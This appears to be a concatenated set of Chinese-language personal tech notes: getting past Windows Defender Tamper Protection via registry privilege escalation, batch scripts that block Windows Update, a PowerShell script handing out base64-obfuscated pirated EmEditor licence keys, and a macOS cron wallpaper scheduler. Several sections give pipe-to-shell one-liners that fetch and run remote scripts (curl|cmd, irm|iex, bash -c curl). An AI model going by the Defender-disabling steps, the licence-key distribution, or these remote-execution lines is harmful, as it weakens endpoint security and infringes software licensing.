1. [Access Denied - Setting Owner and/or Permissions on Registry Key](https://answers.microsoft.com/en-us/windows/forum/all/access-denied-setting-owner-andor-permissions-on/71cdd66a-75ce-4e79-bace-89637e0dacae?messageId=e5059fad-18c9-4b97-b7a5-cedcf48b083a&page=3)(后来用NSudoLG提权工具了)
2. [Automatic Sample Submission Turns off? Here’s How to Fix It! [MiniTool Tips]](https://www.minitool.com/news/automatic-sample-submission-off.html)(文章不错,但我的重心是在“实时防护”问题上)
后续参考储备:
* [csdn - Windows 退域后仍出现‘此设置由管理员进行管理‘的问题](https://blog.csdn.net/geekqian/article/details/90608482)
* [freebuf - 花式沉默Defender](https://www.freebuf.com/articles/network/324952.html)
### Tamper Protection
从 [bbs.huaweicloud - 红蓝对抗之致盲 Windows defender](https://bbs.huaweicloud.com/blogs/396537)(2022.11.21)了解到使用[NSudoLG](https://github.com/M2Team/NSudo)这类权限提升工具来获取注册表关键项的权限,从而操作该项整个注册表的所有内容。在此基础上,经过我简单的提权及写入篡改保护注册项发现:Windows defender 的篡改保护项值是具有“自主调节性”的;当你将“HKLM\SOFTWARE\Microsoft\Windows Defender\Features”的“TamperProtection”键改为"0x4"时,再开关篡改保护按钮,该键又会回到默认值“0x5”。
“TamperProtection”键写入,参考如下:
> 【来源】https://www.wintips.org/how-to-disable-tamper-protection-security-on-windows-10/
> **4.** In the Edit DWORD window that opens:*
>
> - To **Disable Tamper Protection**, set the value data to **0** and click on the **OK** button.*
> - To **Enable Tamper Protection**, set the value to **5** and click **OK. \***
> \* Note: If after pressing OK, you receive the error: "*Error Editing Value. Cannot edit TamperProtection. Error writing the value's new contents*.", proceed below to take the ownership of the "Features" registry key and then repeat the above step.
翻阅相关此前资料来看,不少文章均未提及对“TamperProtection”键值修改出现的有关异样情况,我推测是微软又加强了一道安全等级防护,防止注册表、代码等方式直接干预Windows defender的主要安全监测审核程序,造成破坏性的安全性事件影响。
后续在看了 [unSafe.sh - 当前Defender AV 防篡改的局限及功能测试](https://buaq.net/go-103627.html) 对“篡改保护”详细介绍及注册表捕捉事件说明,也证实我上述的想法所推测的那样,“篡改保护”在Windows defender安全防护处于内核级定位。

================================================
FILE: AQUICK/DTRASH/diss_windows_update.md
================================================
# 关闭Windows更新的批处理
## 缘起
做这个呢,一是看了[晨钟酱 -【更新能永久暂停?盘点两个奇特的Windows使用技巧】 ](https://www.bilibili.com/video/BV1FM4y1i76d)视频启发,二是知乎上获取到一些信息来源[知乎-如何关闭win10的自动更新?](https://www.zhihu.com/question/65332770/answer/2369884038),三是同事分享的重定向更新服务器信息,以及“云烟成雨”分享贴:[禁止win10更新:StopUpdates10_4.0.2023.306](
https://www.52pojie.cn/thread-1777560-1-1.html)。我整体分析这些收集来的信息资源,做这个长久令人困扰的“关闭/开启Windows更新”是可行的。
看了B站与知乎这两则讯息发帖及评论的大致详情,结合我之前有过编写IE安全性规则的经验上来看,要想稳定长久关闭Windows更新,仅用一条注册表,应对之后微软做出的相关调整,这显然不大充分。以及基于企业环境的原因,自己基本上尽量少用激活工具,以及其他不透明的工具,故为此自己就动手做了批处理关闭Windows更新的。
先列出主要的参考资料:
* 起先:[晨钟酱 -【更新能永久暂停?盘点两个奇特的Windows使用技巧】 ](https://www.bilibili.com/video/BV1FM4y1i76d)、[知乎-如何关闭win10的自动更新?](https://www.zhihu.com/question/65332770/answer/2369884038)、[云烟成雨 - 禁止win10更新:StopUpdates10_4.0.2023.306](
https://www.52pojie.cn/thread-1777560-1-1.html)
* 核心:
* [admx.help - 配置自动更新](https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.WindowsUpdate::AutoUpdateCfg&Language=zh-cn)(常规条目)
* https://greatis.com/stopupdates10 (常规条目所没提到的词眼:USOClient,"WAAS Medic")
* https://www.howtogeek.com/799392/what-is-waasmedic-agent-exe-how-to-fix-high-disk-usage
* https://www.majorgeeks.com/content/page/what_is_the_update_orchestrator_service.html
* https://serverfault.com/questions/695916/registry-key-gpo-to-disable-and-block-windows-10-upgrade
* 增强:[脚本之家 - 屏蔽Win7/Win8.1升级Win10推送的三种图文方法](https://www.jb51.net/os/windows/418707.html)、[csdn-Windows 7禁用“ PC不支持”弹出窗口](https://blog.csdn.net/allway2/article/details/103905502)
## 实测效果与源码
### stop_update.bat(停止更新)
16:26,运行stop_update.bat前。

16:28,运行stop_update.bat后,出现“某些设置由你的组织来管理”红字,以及红色星号标识“你的组织已关闭更新”。

此状态下重启后是能完成最后一波更新的,因电脑性能,更新用了10分钟不等,中途走开了一会。

整体效果是令人满意的。
**stop_update.bat** 附源码:https://github.com/hoochanlon/ihs-simple/blob/main/d-bat/stop_update.bat
```cmd
:: 提前注释保留项
:: https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.WindowsUpdate::AutoUpdateCfg&Language=zh-cn
@REM https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-update#update-enableautomaticupgrades
@REM https://www.howtogeek.com/799392/what-is-waasmedic-agent-exe-how-to-fix-high-disk-usage/
@REM https://www.majorgeeks.com/content/page/what_is_the_update_orchestrator_service.html
@REM https://answers.microsoft.com/en-us/windows/forum/all/windows-7-8-81-registry-edits-to-prevent-windows/4cbd4842-d11f-4579-a8de-18576aad2597
@REM https://greatis.com/stopupdates10/
@REM 暂停更新3000
@REM reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsUpdate\UX\Settings" /v FlightSettingsMaxPauseDays /t reg_dword /d 3000 /f
@REM 此计算机的目标组名称
@REM reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "TargetGroup" /t REG_SZ /d "YourTargetGroup" /f
@REM 该服务使用这些信息来确定在此计算机上应该部署哪些更新。Enabled Value 0 = Disabled, 1 = Enabled
@REM reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "TargetGroupEnabled" /t REG_DWORD /d "0x0" /f
:: -------指定 Intranet Microsoft 更新服务位置--------
@REM 此设置允许你在网络上指定一台服务器执行内部更新服务。自动更新客户端将搜索此服务,找到适用于网络上计算机的更新。
@REM Value 0 = Disabled, 1 = Enabled
@REM reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "UseWUServer" /t REG_DWORD /d "0x1" /f
@REM 指定 Intranet Microsoft 网址
@REM reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "WUServer" /t REG_SZ /d "http://127.0.0.1" /f
@REM 设置 Intranet 统计服务器
@REM reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "WUStatusServer" /t REG_SZ /d "http://127.0.0.1" /f
:: -------------------------------------------------
@REM 该服务主要用于检查 Windows 更新的健康状况,以确保系统能够及时接收到最新的安全和功能更新。,并将其值设置为 4 (禁止运行该服务)。
@REM REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WaasMedic" /v "Start" /t REG_DWORD /d 4 /f
:: 提前注释保留项
:: 彻底关闭Windows更新
@REM 临时停止 Windows Update 服务
net stop wuauserv
@REM 暂停升级 enabled Value 0 = Disabled, 1 = Enabled
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "PauseDeferrals" /t REG_DWORD /d "0x1" /f
@REM 允许非管理员接收更新通知 Enabled Value 0 = Disabled, 1 = Enabled
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "ElevateNonAdmins" /t REG_DWORD /d "0x1" /f
@REM 此设置允许你在网络上指定一台服务器执行内部更新服务。自动更新客户端将搜索此服务,找到适用于网络上计算机的更新。
@REM Value 0 = Disabled, 1 = Enabled
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "UseWUServer" /t REG_DWORD /d "0x1" /f
@REM 指定 Intranet Microsoft 网址
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "WUServer" /t REG_SZ /d "http://127.0.0.1" /f
@REM 设置 Intranet 统计服务器
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "WUStatusServer" /t REG_SZ /d "http://127.0.0.1" /f
@REM 如果启用此策略设置,则会阻止用户连接到 Windows 更新网站。 Value 1 = Enabled, 0 = Disabled
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWindowsUpdate" /t REG_DWORD /d "0x1" /f
@REM 配置自动更新 Value 1= Disabled, 0 = Enabled
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /t REG_DWORD /d "0x1" /f
@REM 允许自动更新立即安装 Value 1 = Enabled,0 = Disabled
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "AutoInstallMinorUpdates" /t REG_DWORD /d "0x1" /f
@REM 自动更新频率 Value 0 = Disabled, 1 = Enabled
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "DetectionFrequencyEnabled" /t REG_DWORD /d "0x0" /f
@REM 重新计划自动更新计划的安装 Value 1 = Enabled,0 = Disabled
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "RescheduleWaitTimeEnabled" /t REG_DWORD /d "0x0" /f
@REM 删除使用所有 Windows 更新功能的访问权限 Value 1 = Enabled,0 = Disabled
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WindowsUpdate" /v "DisableWindowsUpdateAccess" /t REG_DWORD /d "0x1" /f
@REM 关闭对所有 Windows 更新功能的访问 Value 1 = Enabled,0 = Disabled
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "RescheduleWaitTimeEnabled" /t REG_DWORD /d "0x1" /f
@REM 阻止运行 Windows Anytime Upgrade(Windows版本升级) Value 1 = Enabled,0 = Disabled
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\WAU" /v "Disabled" /t REG_DWORD /d "0x1" /f
@REM 允许或禁止 Microsoft Store 向最新版本的 Windows 提供更新。 Value 1 = Enabled, 0 = Disabled
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "DisableOSUpgrade" /t REG_DWORD /d 1 /f
@REM ------ Windows更新健康医生服务与更新编排器服务
@REM "Start" 值包括 0(启动失败)、1(系统启动时自动启动)、2(手动启动)和 3(禁用),而 4 表示服务不会被启动,如果服务已经在运行,则会被停止。
@REM 该服务主要用于检查 Windows 更新的健康状况,以确保系统能够及时接收到最新的安全和功能更新,并将其值设置为 4 (禁止运行该服务)。
@REM 更新编排器服务,关闭
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsoSvc" /v "Start" /t REG_DWORD /d 4 /f
@REM ------ Windows更新健康医生服务与更新编排器服务
@REM ---- win7 升级提示通杀
@REM 关闭《获取Windows10》升级通知 https://www.jb51.net/os/windows/418707.html
REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\OSUpgrade" /v "ReservationsAllowed" /t REG_DWORD /d 0 /f
@REM https://serverfault.com/questions/695916/registry-key-gpo-to-disable-and-block-windows-10-upgrade
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Gwx" /v "DisableGwx" /t REG_DWORD /d 1 /f
@REM Windows 7禁用“ PC不支持”弹出窗口 https://blog.csdn.net/allway2/article/details/103905502
REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\EOSNotify" /v "DiscontinueEOS" /t REG_DWORD /d 1 /f
@REM ---- win7 升级提示通杀
@REM 启动 Windows Update 服务
net start wuauserv
:: 彻底关闭Windows更新
pause
```
### re_update.bat (恢复更新)
re_update.bat 恢复更新启动

重启电脑后效果

**re_update.bat** 附源码:https://github.com/hoochanlon/ihs-simple/blob/main/d-bat/re_update.bat
```cmd
:: 提前注释保留项
:: https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.WindowsUpdate::AutoUpdateCfg&Language=zh-cn
@REM https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-update#update-enableautomaticupgrades
@REM https://www.howtogeek.com/799392/what-is-waasmedic-agent-exe-how-to-fix-high-disk-usage/
@REM https://www.majorgeeks.com/content/page/what_is_the_update_orchestrator_service.html
@REM https://answers.microsoft.com/en-us/windows/forum/all/windows-7-8-81-registry-edits-to-prevent-windows/4cbd4842-d11f-4579-a8de-18576aad2597
@REM https://greatis.com/stopupdates10/
@REM 暂停更新3000
@REM reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsUpdate\UX\Settings" /v FlightSettingsMaxPauseDays /f
@REM 此计算机的目标组名称
@REM reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "TargetGroup" /f
@REM 该服务使用这些信息来确定在此计算机上应该部署哪些更新。Enabled Value 0 = Disabled, 1 = Enabled
@REM reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "TargetGroupEnabled" /f
:: -------指定 Intranet Microsoft 更新服务位置--------
@REM 此设置允许你在网络上指定一台服务器执行内部更新服务。自动更新客户端将搜索此服务,找到适用于网络上计算机的更新。
@REM Value 0 = Disabled, 1 = Enabled
@REM reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "UseWUServer" /f
@REM 指定 Intranet Microsoft 网址
@REM reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "WUServer" /f
@REM 设置 Intranet 统计服务器
@REM reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "WUStatusServer" /f
:: -------------------------------------------------
@REM 该服务主要用于检查 Windows 更新的健康状况,以确保系统能够及时接收到最新的安全和功能更新。,并将其值设置为 4 (禁止运行该服务)。
@REM REG delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WaasMedic" /v "Start" /f
:: 提前注释保留项
:: 彻底关闭Windows更新
@REM 临时停止 Windows Update 服务
net stop wuauserv
@REM ------ Windows更新健康医生服务与更新编排器服务 -------------
@REM "Start" 值包括 0(启动失败)、1(系统启动时自动启动)、2(手动启动)和 3(禁用),而 4 表示服务不会被启动,如果服务已经在运行,则会被停止。
@REM 该服务主要用于检查 Windows 更新的健康状况,以确保系统能够及时接收到最新的安全和功能更新。,并将其值设置为 4 (禁止运行该服务)。
@REM 更新编排器服务,关闭
REG delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /f
REG delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsoSvc" /v "Start" /f
@REM https://superuser.com/questions/1584410/windows-10-update-something-went-wrong-try-to-reopen-settings-later
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsoSvc" /v "Start" /t REG_DWORD /d 2 /f
@REM ------ Windows更新健康医生服务与更新编排器服务 -------------
@REM ---- win7 升级提示通杀 --------
@REM 关闭《获取Windows10》升级通知 https://www.jb51.net/os/windows/418707.html
REG delete "HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\OSUpgrade" /v "ReservationsAllowed" /f
@REM https://serverfault.com/questions/695916/registry-key-gpo-to-disable-and-block-windows-10-upgrade
REG delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Gwx" /v "DisableGwx" /f
@REM Windows 7禁用“ PC不支持”弹出窗口 https://blog.csdn.net/allway2/article/details/103905502
REG delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\EOSNotify" /v "DiscontinueEOS" /f
@REM ---- win7 升级提示通杀 ---------
@REM ------ 其他细节 -------------
@REM 暂停升级 enabled Value 0 = Disabled, 1 = Enabled
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "PauseDeferrals" /f
@REM 允许非管理员接收更新通知 Enabled Value 0 = Disabled, 1 = Enabled
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "ElevateNonAdmins" /f
@REM 此设置允许你在网络上指定一台服务器执行内部更新服务。自动更新客户端将搜索此服务,找到适用于网络上计算机的更新。
@REM Value 0 = Disabled, 1 = Enabled
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "UseWUServer" /f
@REM 指定 Intranet Microsoft 网址
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "WUServer" /f
@REM 设置 Intranet 统计服务器
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "WUStatusServer" /f
@REM 如果启用此策略设置,则会阻止用户连接到 Windows 更新网站。 Value 1 = Enabled, 0 = Disabled
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWindowsUpdate" /f
@REM 配置自动更新 Value 1= Disabled, 0 = Enabled
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /f
@REM 允许自动更新立即安装 Value 1 = Enabled,0 = Disabled
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "AutoInstallMinorUpdates" /f
@REM 自动更新频率 Value 0 = Disabled, 1 = Enabled
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "DetectionFrequencyEnabled" /f
@REM 删除使用所有 Windows 更新功能的访问权限 Value 1 = Enabled,0 = Disabled
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WindowsUpdate" /v "DisableWindowsUpdateAccess" /f
@REM 关闭对所有 Windows 更新功能的访问 Value 1 = Enabled,0 = Disabled
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "RescheduleWaitTimeEnabled" /f
@REM 阻止运行 Windows Anytime Upgrade(Windows版本升级) Value 1 = Enabled,0 = Disabled
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\WAU" /v "Disabled" /f
@REM 允许或禁止 Microsoft Store 向最新版本的 Windows 提供更新。 Value 1 = Enabled, 0 = Disabled
REG delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "DisableOSUpgrade" /f
@REM ------ 其他细节 -------------
@REM 启动 Windows Update 服务
net start wuauserv
pause
```
## 附录
### Win11实测效果
**运行stop_update前 与 运行stop_update后**


**stop_update**,安装完最后一波更新与重启后效果


**re_update** 运行后与重启效果


### 在线实测效果
使用stop_update.bat以及重启后效果
```
curl -L https://ghproxy.com/https://github.com/hoochanlon/ihs-simple/raw/main/d-bat/stop_update.bat|cmd
```


re_update测试
```
curl -L https://ghproxy.com/https://github.com/hoochanlon/ihs-simple/raw/main/d-bat/re_update.bat|cmd
```


================================================
FILE: AQUICK/DTRASH/emeditor.md
================================================
看到福利区 [分享两个EmEditor 终身授权激活码(出处: 吾爱破解论坛)](https://www.52pojie.cn/thread-1756848-1-1.html),我是觉得下载文件在去查看太麻烦了,直接发个curl请求过去把序列号拷贝到粘贴版,过去复制到程序就完事了,为防“君子”简单做了下混淆base64编码,所以顺便看点资料,随手写了个玩具代码,这个没什么技巧性可言的,故作讨论贴。
下面powershell一键搞定。
```powershell
irm https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/d-pwsh/emeditor_random_keygen.ps1|iex
```
git仓:https://github.com/hoochanlon/ihs-simple/blob/main/d-pwsh/emeditor_random_keygen.ps1 附源码:
```powershell
# 发现一个升级的aiu文件,删不删随喜吧,"C:\ProgramData\Emurasoft\EmEditor\updates\emed64_updates4u.aiu"
# 摇骰子1~6点随机选一个 emeditor key。
# $emeditor_v21_str;$getkey; 重复定义增加多余的输出显示
$i = (1..6|Get-Random)
$emeditor_v21_str = switch ($i)
{
1 {"RABNAEEAWgBNAC0AVwBIAFkANQAyAC0AQQBYADIAMgAyAC0AWgBRAEoAWABOAC0ANwA5AEoAWABIAA=="}
2 {"RABTAEIAWgBHAC0AQgBGADIAWABIAC0ATQA5ADIAMgAyAC0ARAA1AE0AOABMAC0AUQBDAEMAWABIAA=="}
3 {"RABNAEEAWgBFAC0AVgBLAFoASgBWAC0AMgA4AFoAWgBaAC0ANABUADcAQQBKAC0ANwBIAEgANQA1AA=="}
4 {"RABQAEEAWgA2AC0AUwBIADIAVQBQAC0AUwA3AFoAWgBaAC0AWAA0ADcAVABVAC0ARgBVAEwAMgBYAA=="}
5 {"RABTAEgAWgBBAC0AUQBKADMARwBXAC0AWQBVAFoAWgBaAC0AUwBWAEYAWgAyAC0ANgBEAEIAVQBFAA=="}
6 {"RABNAEEAWgBNAC0AWgBNADUANQA2AC0ASwA2AFoAWgBaAC0AOQA5AEwAVwA4AC0AVwBWADUAQgBUAA=="}
}
# 编码测试 [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("asdasdxzczc"));
$getkey = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($emeditor_v21_str))
Set-Clipboard -Value $getkey # Get-Clipboard
Write-Output ""
Write-Output "注册名字随便填一个,序列号粘贴进去就行了。序列号已复制到粘贴板:" $getkey
Write-Output ""
Write-Output "xp/win7/server2008请下载:http://files.emeditor.com/emed32_14.8.1.exe"
Write-Output ""
Write-Output "win10/win11及未来更高版本以上:https://support.emeditor.com/en/downloads/latest/installer/64"
```
编码测试过程中的发现:
`iwr https://xxxx.com | iex` ,据[CS免杀-PowerShell加载命令免杀](http://www.hackdig.com/03/hack-309458.htm)所说“缩写IWR,用来访问网页的内容,默认使用IE引擎“。结合我个人实验推测,不管是UTF8还是GB2312,中文都会显示乱码应该是与这个有关系。(可探讨)
通过`iex`反弹加载远程git仓字符文本内容执行,都不用像以前调用下载,然后文件执行,最后还要附加一句删除脚本自身语句,省去`remove-item $MyInvocation.MyCommand.Path -force`这一动作。
效果图一

效果图二

最后,我推测emeditor甚至可通过注入注册表的方式直接完成,免进入界面去激活。粗略来说:
* CLSID,“全局唯一标示符”,标识软件用的(随机数字),“Classes\Wow6432Node\” 软件的注册信息用的。
加上之前写过[fail_idm.ps1](https://github.com/hoochanlon/ihs-simple/blob/main/d-pwsh/fail_idm.ps1)的经验,综上我觉得是可行的。(可探讨)不过我嫌麻烦,就没做了。

参考资料:
* [educba-powershell-base64](https://www.educba.com/powershell-base64/)
* [EmEditor 17.2.4 安装版+便携版+永久序列号+插件包(出处: 吾爱破解论坛)](https://www.52pojie.cn/thread-658917-1-1.html)
* [强制注册EmEditor 16.4(出处: 吾爱破解论坛)](https://www.52pojie.cn/thread-578165-1-1.html)
* [cnblogs-PowerDesigner 12破解汉化](https://www.cnblogs.com/estherlty/p/15771219.html)
* [bilibili-文本编辑器 EmEditor v22.0](https://www.bilibili.com/read/cv19068695)
* https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-clipboard
https://learn.microsoft.com/zh-cn/powershell/scripting/learn/deep-dives/everything-about-switch
* [CS免杀-PowerShell加载命令免杀](http://www.hackdig.com/03/hack-309458.htm)
================================================
FILE: AQUICK/DTRASH/exif_test_pic/readme.txt
================================================
P50图片地址:https://zhongce.sina.com.cn/article/view/103759
================================================
FILE: AQUICK/DTRASH/mac_corn_diy_wallpaper.md
================================================
我·分析完必应搜索的html,虽已知道壁纸URL规律,不过找到了 [ioliu-每日必应壁纸站](http://bing.ioliu.cn) ,它让我没什么动力写爬虫了。不过,我想借此完成早前一闪而过小点子 —— “每天上下班时间段,各一副壁纸,一面工作,一面生活,工作和生活互不干扰。
## 启动前探究
### 基础指令测试
Mac系统壁纸位置,以Monterey为例(还原准备)
```
/System/Library/Desktop Pictures/Monterey Graphic.heic
```
每晚七点执行一次
```shell
0 19 * * * osascript -e 'tell application "Finder" to set desktop picture to POSIX file "/path/to/image.jpg"'
```
周一至周五晚七点执行一次
```
0 19 * * 1-5 osascript -e 'tell application "Finder" to set desktop picture to POSIX file "~/image.jpg"'
```
### 需求环境及指令考量
#### 设:晚上休息时间十一点十分,切换系统壁纸;傍晚六点半,自定义壁纸。
(原始需求如上,以下是边分析边改进)
**周一傍晚六点半,自定义壁纸**
```
30 18 * * 1 osascript -e 'tell application "Finder" to set desktop picture to POSIX file "~/diy.jpg"'
```
**周一至周四,晚上休息时间十一点十分,切换系统壁纸**
```
10 23 * * 1-4 osascript -e 'tell application "Finder" to set desktop picture to POSIX file "/System/Library/Desktop Pictures/Monterey Graphic.heic"'
```
**周五傍晚六点半,自定义壁纸**
```
30 18 * * 5 osascript -e 'tell application "Finder" to set desktop picture to POSIX file "~/diy.jpg"'
```
**周日晚上休息时间十一点十分,切换系统壁纸**
```
10 23 * * 7 osascript -e 'tell application "Finder" to set desktop picture to POSIX file "/System/Library/Desktop Pictures/Monterey Graphic.heic"'
```
**每隔三十天换一次壁纸**
```
# “x/30” 从x天之后的30天
0 0 */30 * * osascript -e 'tell application "Finder" to set desktop picture to POSIX file "~/diy.jpg"'
```
## 遇到的问题(测试异常结果分析)
**总结的四点**:
1. Mac使用`crontab -e` 的前置条件:一、换nano,二、 `brew install nvim`
2. 理论上,macOS当屏幕锁定或休眠,系统在锁定或休眠会将大部分进程挂起,不会运行 `crontab` 中的任务,以达到减小开支及省电目的;但我的测试:Mac充电状态、放电状态的息屏,解锁后还是会更改的,实际上亮之前就已经改了。如果是关机的话,时间就跳过待下一次这个时间点了。
3. 使用 `launchd` ,编写个 plist 文件,加入守护进程。效果上也没多大差异,而且编码复杂度过高,不划算,故没考虑在内。
4. `crontab`是以当前用户执行的,sudo 之后会临时变成root,应使用`sudo -u $USER `,保持当前用户名执行。
**其他问题** 试用如下代码逐条添加定时任务,并不会追加,而是覆盖刷新。
```
# 周一傍晚六点半,自定义壁纸
echo "30 18 * * 1 osascript -e 'tell application \"Finder\" \
to set desktop picture to \
POSIX file \"~/Pictures/必应壁纸/KlostersSerneus-20230502.png\"'" \
| crontab -
# 周一至周四,晚上休息时间十一点十分,切换系统壁纸
echo "10 23 * * 1-4 osascript -e 'tell application \"Finder\" \
to set desktop picture to \
POSIX file "/System/Library/Desktop Pictures/Monterey Graphic.heic"'" \
| crontab -
# 说明
# crontab - 告诉 crontab 命令从标准输入读取数据,而不是从文件读取数据。
# \ 将命令拆分成多行。注意到反斜杠后面不能有空格或其他字符。
# crontab -e: 编辑当前用户的cron表;-l: 列出当前用户的cron作业;-r: 删除当前用户的cron表
```
## demo整理
demo1测试效果

即时性测试

将写死的路径,加入`read -p`读取功能,增强通用性。至于时间,我反倒觉得没必要写活,原因如下:
1. 看得懂的朋友会根据自己的需求调整修改
2. 这类“30 18 * * * 1”格式,就像“二进制”,不符合人的常规记忆。(做成字符串变量是最简单的做活了)
3. 自然语言转“30 18 * * * 1”这类特定格式,加入字典处理,条件千变万化的,反而还将简单的问题复杂化了
附源码:
```
# ------- crontab说明 ----------
# crontab - 告诉 crontab 命令从标准输入读取数据,而不是从文件读取数据。
# \ 将命令拆分成多行。注意到反斜杠后面不能有空格或其他字符。
# crontab -e: 编辑当前用户的cron表
# crontab -l: 列出当前用户的cron作业;crontab -r: 删除当前用户的cron表
# ------- crontab说明 ----------
#----- 定时切换壁纸 -------------
# 导出当前定时作业
# crontab -l > my_desktop_cron
# 加入前提说明
printf "\n温馨提示 \n"
printf "\n macOS系统壁纸目录:/System/Library/Desktop Pictures/ "
printf "\n 最后,自定义的壁纸目录文件不要自行删除,造成脚本执行异常。 \n\n"
# 设置终端读取变量
read -p "1. 将自定义壁纸拖入到终端: " diy_wallpaper
printf "\n"
read -p "2. 将系统壁纸拖入到终端: " sys_wallpaper
printf "\n"
# 保持原样写代码
cat <<EOF > my_desktop_cron
# 周一傍晚六点半,自定义壁纸
30 18 * * 1 osascript -e 'tell application "Finder" to set desktop picture to POSIX file "$diy_wallpaper"'
# 周一至周四,晚上休息时间十一点十分,切换系统壁纸
10 23 * * 1-4 osascript -e 'tell application "Finder" to set desktop picture to POSIX file "$sys_wallpaper"'
# 周五傍晚六点半,自定义壁纸
30 18 * * 5 osascript -e 'tell application "Finder" to set desktop picture to POSIX file "$diy_wallpaper"'
# 周日晚上休息时间十一点十分,切换系统壁纸
10 23 * * 7 osascript -e 'tell application "Finder" to set desktop picture to POSIX file "$sys_wallpaper"'
EOF
# 设置定时任务
crontab my_desktop_cron
# 移除该临时文件
rm my_desktop_cron
# 测试打印
printf "\n 定时壁纸任务已完成。\n"
#----- 定时切换壁纸 -------------
# ------ 其他测试项 -------------
# 每隔三十天换一次壁纸,“x/30” 从x天之后的30天
# echo "0 0 */30 * * osascript -e 'tell application \"Finder\" to set desktop picture to POSIX file \
# \"~/Pictures/必应壁纸/KlostersSerneus-20230502.png\"'" \
# | crontab -
# ------ 其他测试项 -------------
```
测试效果
```
bash -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/d-shell/mac_corn_diy_wallpaper.sh)"
```

这里分享下修改壁纸的玩具代码,只做个抛砖引玉,之后等等之类的功能增强,那就看各位了有心了。
================================================
FILE: AQUICK/DTRASH/regfinder.md
================================================
## Registry Finder v2.56
